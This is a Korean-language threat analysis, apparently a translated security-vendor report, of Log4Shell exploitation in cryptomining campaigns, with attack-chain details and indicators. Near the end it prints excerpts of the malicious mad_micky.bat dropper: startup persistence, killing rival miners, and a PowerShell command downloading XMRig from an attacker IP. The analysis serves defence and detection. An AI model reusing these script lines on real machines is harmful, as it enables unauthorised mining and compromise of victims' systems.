
Log4Shell(CVE-2021-44228) 취약점에 대한 교육적 분석으로, 암호화폐 채굴 캠페인에서의 악용을 상세히 설명하며 침해 지표(IoC), MITRE ATT&CK 매핑 및 탐지 지침을 포함합니다.
알리바바 클라우드 보안 팀은 여러 버전의 Apache Log4j2(Log4Shell)에 대해 인증되지 않은 원격 코드 실행을 가능하게 하는 치명적인 취약점 (CVE-2021-44228)을 공개적으로 공개했습니다. 공격자는 HTTPS와 같은 모든 프로토콜을 통해 연결하고 특수하게 조작된 문자열을 전송하여 취약한 서버를 악용할 수 있습니다.
Darktrace는 이 Log4j 취약점을 악용한 결과로 여러 고객 배포 환경에서 암호화폐 채굴 활동을 탐지했습니다. 이러한 각각의 사고에서 악용은 아웃바운드 SSL 연결을 통해 발생했으며, 이는 경계 방어를 우회하고 배치(.bat) 스크립트 파일과 암호화폐 채굴 악성코드를 설치하는 여러 실행 파일을 다운로드하기 위한 base64로 인코딩된 PowerShell 스크립트에 대한 요청으로 보입니다. 이 활동에는 일반적인 하드코딩된 IP, 실행 파일 및 스크립트를 포함한 광범위한 캠페인 지표가 있었습니다.
공격 주기는 Log4j 익스플로잇에 취약한 VMWare Horizons 서버를 찾기 위해 인터넷에 연결된 장치를 기회적으로 스캔하는 것으로 시작됩니다. 취약한 서버가 발견되면 공격자는 피해자에게 HTTP 및 SSL 연결을 수행합니다. 성공적인 악용 후, 서버는 포트 1389에서 콜백을 수행하여 mad_micky.bat이라는 스크립트를 검색합니다. 이를 통해 다음이 수행됩니다:
적어도 두 건의 사례에서 mad_micky.bat 스크립트는 사용자 에이전트가 Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MAARJS)인 HTTP 연결을 통해 검색되었습니다. 이 사용자 에이전트가 이러한 네트워크에서 처음이자 마지막으로 관찰되었습니다. 이 사용자 에이전트는 일부 ASUS 장치에서 공장 초기화 설치 시 합법적으로 사용되는 것으로 보이나, 이 활동 중에만 관찰된 새로운 사용자 에이전트이므로 의심스럽습니다.
성공적인 악용 후, 서버는 포트 1389에서 콜백을 수행하여 스크립트 파일을 검색합니다. 이 예제에서 /xms.ps1은 호스트의 실행 정책을 우회하여 'mad_micky.bat'을 호출하는 base-64로 인코딩된 PowerShell 스크립트입니다:
그림 1: PowerShell 스크립트 xms.ps1에 대한 추가 정보
스냅샷은 영향을 받은 서버의 이벤트 로그를 자세히 보여주며, mad_micky.bat 파일 다운로드로 이어진 성공적인 Log4j RCE를 나타냅니다:
그림 2: mad_micky.bat 파일을 강조 표시한 로그 데이터
실행 파일과 스크립트를 검색하기 위해 추가 연결이 시작되었습니다. 스크립트에는 한국과 우크라이나에 위치한 두 개의 IP 주소가 포함되어 있었습니다. 우크라이나 IP로 연결이 이루어져 채굴기를 활성화하는 실행 파일 xm.exe를 다운로드했습니다. 채굴기는 XMRig Miner(이 경우)로, 여러 공개 위치에서 다운로드 가능한 오픈 소스 크로스 플랫폼 채굴 도구입니다. 다음으로 관찰된 exe 다운로드는 'wxm.exe'(f0cf1d3d9ed23166ff6c1f3deece19b4)였습니다.
그림 3: XMRig 실행 파일에 대한 추가 정보
한국 IP로의 연결에는 다른 스크립트(/2.ps1)와 실행 파일(LogBack.exe)에 대한 요청이 포함되었습니다. 이 스크립트는 SCM 이벤트 로그 필터 또는 PowerShell 이벤트 로그 소비자를 포함한 로깅 관련 실행 중인 작업을 삭제합니다. 또한 이 스크립트는 Pastebin에서 파일을 요청하며, 이는 Cobalt Strike 비콘 구성 파일일 가능성이 있습니다. 로그 삭제는 예약된 작업과 WMI를 통해 수행되었으며, 여기에는 Eventlogger, SCM Event Log Filter, DSM Event Log Consumer, PowerShell Event Log Consumer, Windows Events Consumer, BVTConsumer가 포함됩니다.
Pastebin에서 요청된 두 번째 파일은 더 이상 Pastebin에서 호스팅되지 않지만, schtasks 명령의 일부이므로 지속성을 설정하는 데 사용된 것으로 보입니다:
실행 파일 Logback.exe는 또 다른 XMRig 채굴 도구입니다. 동일한 한국 IP에서 config.json 파일도 다운로드되었습니다. 그 후 cmd.exe 및 wmic 명령을 사용하여 채굴기를 구성했습니다.
이러한 파일 다운로드 및 채굴기 구성 후 Pastebin에 대한 추가 연결이 이어졌습니다.
그림 4: mad_micky.bat 파일의 OSINT 상관 관계
set "STARTUP_DIR=%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
set "STARTUP_DIR=%USERPROFILE%\Start Menu\Programs\Startup"
looking for the following utilities: powershell, find, findstr, tasklist, sc
set "LOGFILE=%USERPROFILE%\mimu6\xmrig.log"
if %EXP_MONER_HASHRATE% gtr 8192 ( set PORT=18192 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4096 ( set PORT=14906 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2048 ( set PORT=12048 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 1024 ( set PORT=11024 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 512 ( set PORT=10512 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 256 ( set PORT=10256 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 128 ( set PORT=10128 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 64 ( set PORT=10064 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 32 ( set PORT=10032 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 16 ( set PORT=10016 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 8 ( set PORT=10008 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4 ( set PORT=10004 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2 ( set PORT=10002 & goto PORT_OK)
set port=10001
echo [*] Removing previous mimu miner (if any)
sc stop gado_miner
sc delete gado_miner
taskkill /f /t /im xmrig.exe
taskkill /f /t/im logback.exe
taskkill /f /t /im network02.exe
:REMOVE_DIR0
echo [*] Removing "%USERPROFILE%\mimu6" directory
timeout 5
rmdir /q /s "USERPROFILE%\mimu6" >NUL 2>NUL
IF EXIST "%USERPROFILE%\mimu6" GOTO REMOVE_DIR0
echo [*] Downloading MoneroOcean advanced version of XMRig to "%USERPROFILE%\xmrig.zip"
powershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('http://141.85.161[.]18/xmrig.zip', ;%USERPROFILE%\xmrig.zip')"
echo copying to mimu directory
if errorlevel 1 (
echo ERROR: Can't download MoneroOcean advanced version of xmrig
goto MINER_BAD)